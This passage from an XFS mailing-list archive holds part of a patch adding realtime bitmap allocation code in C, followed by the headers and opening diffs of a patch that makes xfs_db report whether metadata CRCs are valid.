xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, + XFS_FSB_TO_DADDR(mp, map.br_startblock), + mp->m_bsize, 0, &bp, NULL); + if (error) + return error; + ASSERT(!xfs_buf_geterror(bp)); + *bpp = bp; + return 0; +} + +/* + * Searching backward from start to limit, find the first block whose + * allocated/free state is different from start's. + */ +int +xfs_rtfind_back( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block to look at */ + xfs_rtblock_t limit, /* last block to look at */ + xfs_rtblock_t *rtblock) /* out: start block found */ +{ + xfs_rtword_t *b; /* current word in buffer */ + int bit; /* bit number in the word */ + xfs_rtblock_t block; /* bitmap block number */ + xfs_buf_t *bp; /* buf for the block */ + xfs_rtword_t *bufp; /* starting word in buffer */ + int error; /* error value */ + xfs_rtblock_t firstbit; /* first useful bit in the word */ + xfs_rtblock_t i; /* current bit number rel. to start */ + xfs_rtblock_t len; /* length of inspected area */ + xfs_rtword_t mask; /* mask of relevant bits for value */ + xfs_rtword_t want; /* mask for "good" values */ + xfs_rtword_t wdiff; /* difference from wanted value */ + int word; /* word number in the buffer */ + + /* + * Compute and read in starting bitmap block for starting block. + */ + block = XFS_BITTOBLOCK(mp, start); + error = xfs_rtbuf_get(mp, tp, block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + /* + * Get the first word's index & point to it. + */ + word = XFS_BITTOWORD(mp, start); + b = &bufp[word]; + bit = (int)(start & (XFS_NBWORD - 1)); + len = start - limit + 1; + /* + * Compute match value, based on the bit at start: if 1 (free) + * then all-ones, else all-zeroes. + */ + want = (*b & ((xfs_rtword_t)1 << bit)) ? -1 : 0; + /* + * If the starting position is not word-aligned, deal with the + * partial word. + */ + if (bit < XFS_NBWORD - 1) { + /* + * Calculate first (leftmost) bit number to look at, + * and mask for all the relevant bits in this word. + */ + firstbit = XFS_RTMAX((xfs_srtblock_t)(bit - len + 1), 0); + mask = (((xfs_rtword_t)1 << (bit - firstbit + 1)) - 1) << + firstbit; + /* + * Calculate the difference between the value there + * and what we're looking for. + */ + if ((wdiff = (*b ^ want) & mask)) { + /* + * Different. Mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i = bit - XFS_RTHIBIT(wdiff); + *rtblock = start - i + 1; + return 0; + } + i = bit - firstbit + 1; + /* + * Go on to previous block if that's where the previous word is + * and we need the previous word. + */ + if (--word == -1 && i < len) { + /* + * If done with this block, get the previous one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, --block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + word = XFS_BLOCKWMASK(mp); + b = &bufp[word]; + } else { + /* + * Go on to the previous word in the buffer. + */ + b--; + } + } else { + /* + * Starting on a word boundary, no partial word. + */ + i = 0; + } + /* + * Loop over whole words in buffers. When we use up one buffer + * we move on to the previous one. + */ + while (len - i >= XFS_NBWORD) { + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = *b ^ want)) { + /* + * Different, mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_NBWORD - 1 - XFS_RTHIBIT(wdiff); + *rtblock = start - i + 1; + return 0; + } + i += XFS_NBWORD; + /* + * Go on to previous block if that's where the previous word is + * and we need the previous word. + */ + if (--word == -1 && i < len) { + /* + * If done with this block, get the previous one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, --block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + word = XFS_BLOCKWMASK(mp); + b = &bufp[word]; + } else { + /* + * Go on to the previous word in the buffer. + */ + b--; + } + } + /* + * If not ending on a word boundary, deal with the last + * (partial) word. + */ + if (len - i) { + /* + * Calculate first (leftmost) bit number to look at, + * and mask for all the relevant bits in this word. + */ + firstbit = XFS_NBWORD - (len - i); + mask = (((xfs_rtword_t)1 << (len - i)) - 1) << firstbit; + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = (*b ^ want) & mask)) { + /* + * Different, mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_NBWORD - 1 - XFS_RTHIBIT(wdiff); + *rtblock = start - i + 1; + return 0; + } else + i = len; + } + /* + * No match, return that we scanned the whole area. + */ + xfs_trans_brelse(tp, bp); + *rtblock = start - i + 1; + return 0; +} + +/* + * Searching forward from start to limit, find the first block whose + * allocated/free state is different from start's. + */ +int +xfs_rtfind_forw( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block to look at */ + xfs_rtblock_t limit, /* last block to look at */ + xfs_rtblock_t *rtblock) /* out: start block found */ +{ + xfs_rtword_t *b; /* current word in buffer */ + int bit; /* bit number in the word */ + xfs_rtblock_t block; /* bitmap block number */ + xfs_buf_t *bp; /* buf for the block */ + xfs_rtword_t *bufp; /* starting word in buffer */ + int error; /* error value */ + xfs_rtblock_t i; /* current bit number rel. to start */ + xfs_rtblock_t lastbit; /* last useful bit in the word */ + xfs_rtblock_t len; /* length of inspected area */ + xfs_rtword_t mask; /* mask of relevant bits for value */ + xfs_rtword_t want; /* mask for "good" values */ + xfs_rtword_t wdiff; /* difference from wanted value */ + int word; /* word number in the buffer */ + + /* + * Compute and read in starting bitmap block for starting block. + */ + block = XFS_BITTOBLOCK(mp, start); + error = xfs_rtbuf_get(mp, tp, block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + /* + * Get the first word's index & point to it. + */ + word = XFS_BITTOWORD(mp, start); + b = &bufp[word]; + bit = (int)(start & (XFS_NBWORD - 1)); + len = limit - start + 1; + /* + * Compute match value, based on the bit at start: if 1 (free) + * then all-ones, else all-zeroes. + */ + want = (*b & ((xfs_rtword_t)1 << bit)) ? -1 : 0; + /* + * If the starting position is not word-aligned, deal with the + * partial word. + */ + if (bit) { + /* + * Calculate last (rightmost) bit number to look at, + * and mask for all the relevant bits in this word. + */ + lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); + mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; + /* + * Calculate the difference between the value there + * and what we're looking for. + */ + if ((wdiff = (*b ^ want) & mask)) { + /* + * Different. Mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i = XFS_RTLOBIT(wdiff) - bit; + *rtblock = start + i - 1; + return 0; + } + i = lastbit - bit; + /* + * Go on to next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * If done with this block, get the previous one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the previous word in the buffer. + */ + b++; + } + } else { + /* + * Starting on a word boundary, no partial word. + */ + i = 0; + } + /* + * Loop over whole words in buffers. When we use up one buffer + * we move on to the next one. + */ + while (len - i >= XFS_NBWORD) { + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = *b ^ want)) { + /* + * Different, mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_RTLOBIT(wdiff); + *rtblock = start + i - 1; + return 0; + } + i += XFS_NBWORD; + /* + * Go on to next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * If done with this block, get the next one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer. + */ + b++; + } + } + /* + * If not ending on a word boundary, deal with the last + * (partial) word. + */ + if ((lastbit = len - i)) { + /* + * Calculate mask for all the relevant bits in this word. + */ + mask = ((xfs_rtword_t)1 << lastbit) - 1; + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = (*b ^ want) & mask)) { + /* + * Different, mark where we are and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_RTLOBIT(wdiff); + *rtblock = start + i - 1; + return 0; + } else + i = len; + } + /* + * No match, return that we scanned the whole area. + */ + xfs_trans_brelse(tp, bp); + *rtblock = start + i - 1; + return 0; +} + +/* + * Read and modify the summary information for a given extent size, + * bitmap block combination. + * Keeps track of a current summary block, so we don't keep reading + * it from the buffer cache. + */ +int +xfs_rtmodify_summary( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + int log, /* log2 of extent size */ + xfs_rtblock_t bbno, /* bitmap block number */ + int delta, /* change to make to summary info */ + xfs_buf_t **rbpp, /* in/out: summary block buffer */ + xfs_fsblock_t *rsb) /* in/out: summary block number */ +{ + xfs_buf_t *bp; /* buffer for the summary block */ + int error; /* error value */ + xfs_fsblock_t sb; /* summary fsblock */ + int so; /* index into the summary file */ + xfs_suminfo_t *sp; /* pointer to returned data */ + + /* + * Compute entry number in the summary file. + */ + so = XFS_SUMOFFS(mp, log, bbno); + /* + * Compute the block number in the summary file. + */ + sb = XFS_SUMOFFSTOBLOCK(mp, so); + /* + * If we have an old buffer, and the block number matches, use that. + */ + if (rbpp && *rbpp && *rsb == sb) + bp = *rbpp; + /* + * Otherwise we have to get the buffer. + */ + else { + /* + * If there was an old one, get rid of it first. + */ + if (rbpp && *rbpp) + xfs_trans_brelse(tp, *rbpp); + error = xfs_rtbuf_get(mp, tp, sb, 1, &bp); + if (error) { + return error; + } + /* + * Remember this buffer and block for the next call. + */ + if (rbpp) { + *rbpp = bp; + *rsb = sb; + } + } + /* + * Point to the summary information, modify and log it. + */ + sp = XFS_SUMPTR(mp, bp, so); + *sp += delta; + xfs_trans_log_buf(tp, bp, (uint)((char *)sp - (char *)bp->b_addr), + (uint)((char *)sp - (char *)bp->b_addr + sizeof(*sp) - 1)); + return 0; +} + +/* + * Set the given range of bitmap bits to the given value. + * Do whatever I/O and logging is required. + */ +int +xfs_rtmodify_range( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block to modify */ + xfs_extlen_t len, /* length of extent to modify */ + int val) /* 1 for free, 0 for allocated */ +{ + xfs_rtword_t *b; /* current word in buffer */ + int bit; /* bit number in the word */ + xfs_rtblock_t block; /* bitmap block number */ + xfs_buf_t *bp; /* buf for the block */ + xfs_rtword_t *bufp; /* starting word in buffer */ + int error; /* error value */ + xfs_rtword_t *first; /* first used word in the buffer */ + int i; /* current bit number rel. to start */ + int lastbit; /* last useful bit in word */ + xfs_rtword_t mask; /* mask o frelevant bits for value */ + int word; /* word number in the buffer */ + + /* + * Compute starting bitmap block number. + */ + block = XFS_BITTOBLOCK(mp, start); + /* + * Read the bitmap block, and point to its data. + */ + error = xfs_rtbuf_get(mp, tp, block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + /* + * Compute the starting word's address, and starting bit. + */ + word = XFS_BITTOWORD(mp, start); + first = b = &bufp[word]; + bit = (int)(start & (XFS_NBWORD - 1)); + /* + * 0 (allocated) => all zeroes; 1 (free) => all ones. + */ + val = -val; + /* + * If not starting on a word boundary, deal with the first + * (partial) word. + */ + if (bit) { + /* + * Compute first bit not changed and mask of relevant bits. + */ + lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); + mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; + /* + * Set/clear the active bits. + */ + if (val) + *b |= mask; + else + *b &= ~mask; + i = lastbit - bit; + /* + * Go on to the next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * Log the changed part of this block. + * Get the next one. + */ + xfs_trans_log_buf(tp, bp, + (uint)((char *)first - (char *)bufp), + (uint)((char *)b - (char *)bufp)); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + first = b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer + */ + b++; + } + } else { + /* + * Starting on a word boundary, no partial word. + */ + i = 0; + } + /* + * Loop over whole words in buffers. When we use up one buffer + * we move on to the next one. + */ + while (len - i >= XFS_NBWORD) { + /* + * Set the word value correctly. + */ + *b = val; + i += XFS_NBWORD; + /* + * Go on to the next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * Log the changed part of this block. + * Get the next one. + */ + xfs_trans_log_buf(tp, bp, + (uint)((char *)first - (char *)bufp), + (uint)((char *)b - (char *)bufp)); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + first = b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer + */ + b++; + } + } + /* + * If not ending on a word boundary, deal with the last + * (partial) word. + */ + if ((lastbit = len - i)) { + /* + * Compute a mask of relevant bits. + */ + bit = 0; + mask = ((xfs_rtword_t)1 << lastbit) - 1; + /* + * Set/clear the active bits. + */ + if (val) + *b |= mask; + else + *b &= ~mask; + b++; + } + /* + * Log any remaining changed bytes. + */ + if (b > first) + xfs_trans_log_buf(tp, bp, (uint)((char *)first - (char *)bufp), + (uint)((char *)b - (char *)bufp - 1)); + return 0; +} + +/* + * Mark an extent specified by start and len freed. + * Updates all the summary information as well as the bitmap. + */ +int +xfs_rtfree_range( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block to free */ + xfs_extlen_t len, /* length to free */ + xfs_buf_t **rbpp, /* in/out: summary block buffer */ + xfs_fsblock_t *rsb) /* in/out: summary block number */ +{ + xfs_rtblock_t end; /* end of the freed extent */ + int error; /* error value */ + xfs_rtblock_t postblock; /* first block freed > end */ + xfs_rtblock_t preblock; /* first block freed < start */ + + end = start + len - 1; + /* + * Modify the bitmap to mark this extent freed. + */ + error = xfs_rtmodify_range(mp, tp, start, len, 1); + if (error) { + return error; + } + /* + * Assume we're freeing out of the middle of an allocated extent. + * We need to find the beginning and end of the extent so we can + * properly update the summary. + */ + error = xfs_rtfind_back(mp, tp, start, 0, &preblock); + if (error) { + return error; + } + /* + * Find the next allocated block (end of allocated extent). + */ + error = xfs_rtfind_forw(mp, tp, end, mp->m_sb.sb_rextents - 1, + &postblock); + if (error) + return error; + /* + * If there are blocks not being freed at the front of the + * old extent, add summary data for them to be allocated. + */ + if (preblock < start) { + error = xfs_rtmodify_summary(mp, tp, + XFS_RTBLOCKLOG(start - preblock), + XFS_BITTOBLOCK(mp, preblock), -1, rbpp, rsb); + if (error) { + return error; + } + } + /* + * If there are blocks not being freed at the end of the + * old extent, add summary data for them to be allocated. + */ + if (postblock > end) { + error = xfs_rtmodify_summary(mp, tp, + XFS_RTBLOCKLOG(postblock - end), + XFS_BITTOBLOCK(mp, end + 1), -1, rbpp, rsb); + if (error) { + return error; + } + } + /* + * Increment the summary information corresponding to the entire + * (new) free extent. + */ + error = xfs_rtmodify_summary(mp, tp, + XFS_RTBLOCKLOG(postblock + 1 - preblock), + XFS_BITTOBLOCK(mp, preblock), 1, rbpp, rsb); + return error; +} + +/* + * Check that the given range is either all allocated (val = 0) or + * all free (val = 1). + */ +int +xfs_rtcheck_range( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t start, /* starting block number of extent */ + xfs_extlen_t len, /* length of extent */ + int val, /* 1 for free, 0 for allocated */ + xfs_rtblock_t *new, /* out: first block not matching */ + int *stat) /* out: 1 for matches, 0 for not */ +{ + xfs_rtword_t *b; /* current word in buffer */ + int bit; /* bit number in the word */ + xfs_rtblock_t block; /* bitmap block number */ + xfs_buf_t *bp; /* buf for the block */ + xfs_rtword_t *bufp; /* starting word in buffer */ + int error; /* error value */ + xfs_rtblock_t i; /* current bit number rel. to start */ + xfs_rtblock_t lastbit; /* last useful bit in word */ + xfs_rtword_t mask; /* mask of relevant bits for value */ + xfs_rtword_t wdiff; /* difference from wanted value */ + int word; /* word number in the buffer */ + + /* + * Compute starting bitmap block number + */ + block = XFS_BITTOBLOCK(mp, start); + /* + * Read the bitmap block. + */ + error = xfs_rtbuf_get(mp, tp, block, 0, &bp); + if (error) { + return error; + } + bufp = bp->b_addr; + /* + * Compute the starting word's address, and starting bit. + */ + word = XFS_BITTOWORD(mp, start); + b = &bufp[word]; + bit = (int)(start & (XFS_NBWORD - 1)); + /* + * 0 (allocated) => all zero's; 1 (free) => all one's. + */ + val = -val; + /* + * If not starting on a word boundary, deal with the first + * (partial) word. + */ + if (bit) { + /* + * Compute first bit not examined. + */ + lastbit = XFS_RTMIN(bit + len, XFS_NBWORD); + /* + * Mask of relevant bits. + */ + mask = (((xfs_rtword_t)1 << (lastbit - bit)) - 1) << bit; + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = (*b ^ val) & mask)) { + /* + * Different, compute first wrong bit and return. + */ + xfs_trans_brelse(tp, bp); + i = XFS_RTLOBIT(wdiff) - bit; + *new = start + i; + *stat = 0; + return 0; + } + i = lastbit - bit; + /* + * Go on to next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * If done with this block, get the next one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer. + */ + b++; + } + } else { + /* + * Starting on a word boundary, no partial word. + */ + i = 0; + } + /* + * Loop over whole words in buffers. When we use up one buffer + * we move on to the next one. + */ + while (len - i >= XFS_NBWORD) { + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = *b ^ val)) { + /* + * Different, compute first wrong bit and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_RTLOBIT(wdiff); + *new = start + i; + *stat = 0; + return 0; + } + i += XFS_NBWORD; + /* + * Go on to next block if that's where the next word is + * and we need the next word. + */ + if (++word == XFS_BLOCKWSIZE(mp) && i < len) { + /* + * If done with this block, get the next one. + */ + xfs_trans_brelse(tp, bp); + error = xfs_rtbuf_get(mp, tp, ++block, 0, &bp); + if (error) { + return error; + } + b = bufp = bp->b_addr; + word = 0; + } else { + /* + * Go on to the next word in the buffer. + */ + b++; + } + } + /* + * If not ending on a word boundary, deal with the last + * (partial) word. + */ + if ((lastbit = len - i)) { + /* + * Mask of relevant bits. + */ + mask = ((xfs_rtword_t)1 << lastbit) - 1; + /* + * Compute difference between actual and desired value. + */ + if ((wdiff = (*b ^ val) & mask)) { + /* + * Different, compute first wrong bit and return. + */ + xfs_trans_brelse(tp, bp); + i += XFS_RTLOBIT(wdiff); + *new = start + i; + *stat = 0; + return 0; + } else + i = len; + } + /* + * Successful, return. + */ + xfs_trans_brelse(tp, bp); + *new = start + i; + *stat = 1; + return 0; +} + +#ifdef DEBUG +/* + * Check that the given extent (block range) is allocated already. + */ +STATIC int /* error */ +xfs_rtcheck_alloc_range( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t bno, /* starting block number of extent */ + xfs_extlen_t len) /* length of extent */ +{ + xfs_rtblock_t new; /* dummy for xfs_rtcheck_range */ + int stat; + int error; + + error = xfs_rtcheck_range(mp, tp, bno, len, 0, &new, &stat); + if (error) + return error; + ASSERT(stat); + return 0; +} +#else +#define xfs_rtcheck_alloc_range(m,t,b,l) (0) +#endif +/* + * Free an extent in the realtime subvolume. Length is expressed in + * realtime extents, as is the block number. + */ +int /* error */ +xfs_rtfree_extent( + xfs_trans_t *tp, /* transaction pointer */ + xfs_rtblock_t bno, /* starting block number to free */ + xfs_extlen_t len) /* length of extent freed */ +{ + int error; /* error value */ + xfs_mount_t *mp; /* file system mount structure */ + xfs_fsblock_t sb; /* summary file block number */ + xfs_buf_t *sumbp= NULL; /* summary file block buffer */ + + mp = tp->t_mountp; + + ASSERT(mp->m_rbmip->i_itemp != NULL); + ASSERT(xfs_isilocked(mp->m_rbmip, XFS_ILOCK_EXCL)); + + error = xfs_rtcheck_alloc_range(mp, tp, bno, len); + if (error) + return error; + + /* + * Free the range of realtime blocks. + */ + error = xfs_rtfree_range(mp, tp, bno, len, &sumbp, &sb); + if (error) { + return error; + } + /* + * Mark more blocks free in the superblock. + */ + xfs_trans_mod_sb(tp, XFS_TRANS_SB_FREXTENTS, (long)len); + /* + * If we've now freed all the blocks, reset the file sequence + * number to 0. + */ + if (tp->t_frextents_delta + mp->m_sb.sb_frextents == + mp->m_sb.sb_rextents) { + if (!(mp->m_rbmip->i_d.di_flags & XFS_DIFLAG_NEWRTBM)) + mp->m_rbmip->i_d.di_flags |= XFS_DIFLAG_NEWRTBM; + *(__uint64_t *)&mp->m_rbmip->i_d.di_atime = 0; + xfs_trans_log_inode(tp, mp->m_rbmip, XFS_ILOG_CORE); + } + return 0; +} + -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:16:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1A6947F50 for ; Sun, 29 Sep 2013 22:16:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0BCAC8F8035 for ; Sun, 29 Sep 2013 20:16:43 -0700 (PDT) X-ASG-Debug-ID: 1380511000-04cbb02c3c1591e80001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id KT0aWbJPoBjD9zOW for ; Sun, 29 Sep 2013 20:16:40 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDqXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:46:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006PJ-88 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002Gh-7C for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 21/32] db: indicate if the CRC on a buffer is correct or not Date: Mon, 30 Sep 2013 13:15:33 +1000 X-ASG-Orig-Subj: [PATCH 21/32] db: indicate if the CRC on a buffer is correct or not Message-Id: <1380510944-8571-22-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380511000 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When dumping metadata that has a CRC in it, output not only the CRC but text to tell us whether the value is correct or not. Hence we can see at a glance if there's something wrong or not. Do this by peeking at the buffer attached to the current IO contexted. If there was a CRC error, then it will be marked with a EFSCORRUPTED error. Use this to determine what to output. Signed-off-by: Dave Chinner --- db/agf.c | 2 +- db/agfl.c | 2 +- db/agi.c | 2 +- db/btblock.c | 10 +++++----- db/dir2.c | 4 ++-- db/dquot.c | 2 +- db/field.c | 5 +++++ db/field.h | 4 ++++ db/fprint.c | 39 +++++++++++++++++++++++++++++++++++++++ db/fprint.h | 2 ++ db/inode.c | 2 +- db/io.h | 6 ++++++ db/sb.c | 2 +- db/symlink.c | 2 +- 14 files changed, 70 insertions(+), 14 deletions(-) diff --git a/db/agf.c b/db/agf.c index 389cb43..d9a07ca 100644 --- a/db/agf.c +++ b/db/agf.c @@ -71,7 +71,7 @@ const field_t agf_flds[] = { { "btreeblks", FLDT_UINT32D, OI(OFF(btreeblks)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(OFF(lsn)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { NULL } }; diff --git a/db/agfl.c b/db/agfl.c index e2340e6..b29538f 100644 --- a/db/agfl.c +++ b/db/agfl.c @@ -58,7 +58,7 @@ const field_t agfl_crc_flds[] = { { "seqno", FLDT_AGNUMBER, OI(OFF(seqno)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(OFF(lsn)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { "bno", FLDT_AGBLOCKNZ, OI(OFF(bno)), agfl_bno_size, FLD_ARRAY|FLD_COUNT, TYP_DATA }, { NULL } diff --git a/db/agi.c b/db/agi.c index 6b2e889..398bdbb 100644 --- a/db/agi.c +++ b/db/agi.c @@ -56,7 +56,7 @@ const field_t agi_flds[] = { CI(XFS_AGI_UNLINKED_BUCKETS), FLD_ARRAY, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, { "lsn", FLDT_UINT64X, OI(OFF(lsn)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(crc)), C1, 0, TYP_NONE }, { NULL } }; diff --git a/db/btblock.c b/db/btblock.c index 34188db..1ea0cff 100644 --- a/db/btblock.c +++ b/db/btblock.c @@ -295,7 +295,7 @@ const field_t bmapbta_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.l.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.l.bb_uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_INO, OI(OFF(u.l.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.l.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.l.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_BMAPBTAREC, btblock_rec_offset, btblock_rec_count, FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_BMAPBTAKEY, btblock_key_offset, btblock_key_count, @@ -314,7 +314,7 @@ const field_t bmapbtd_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.l.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.l.bb_uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_INO, OI(OFF(u.l.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.l.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.l.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_BMAPBTDREC, btblock_rec_offset, btblock_rec_count, FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_BMAPBTDKEY, btblock_key_offset, btblock_key_count, @@ -405,7 +405,7 @@ const field_t inobt_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.s.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_AGNUMBER, OI(OFF(u.s.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_INOBTREC, btblock_rec_offset, btblock_rec_count, FLD_ARRAY|FLD_ABASE1|FLD_COUNT|FLD_OFFSET, TYP_NONE }, { "keys", FLDT_INOBTKEY, btblock_key_offset, btblock_key_count, @@ -471,7 +471,7 @@ const field_t bnobt_crc_flds[] = { { "lsn", FLDT_UINT64X, OI(OFF(u.s.bb_lsn)), C1, 0, TYP_NONE }, { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, { "owner", FLDT_AGNUMBER, OI(OFF(u.s.bb_owner)), C1, 0, TYP_NONE }, - { "crc", FLDT_UINT32X, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, + { "crc", FLDT_CRC, OI(OFF(u.s.bb_crc)), C1, 0, TYP_NONE }, { "recs", FLDT_BNOBTREC, btblock_rec_offset, btblock_rec_count, 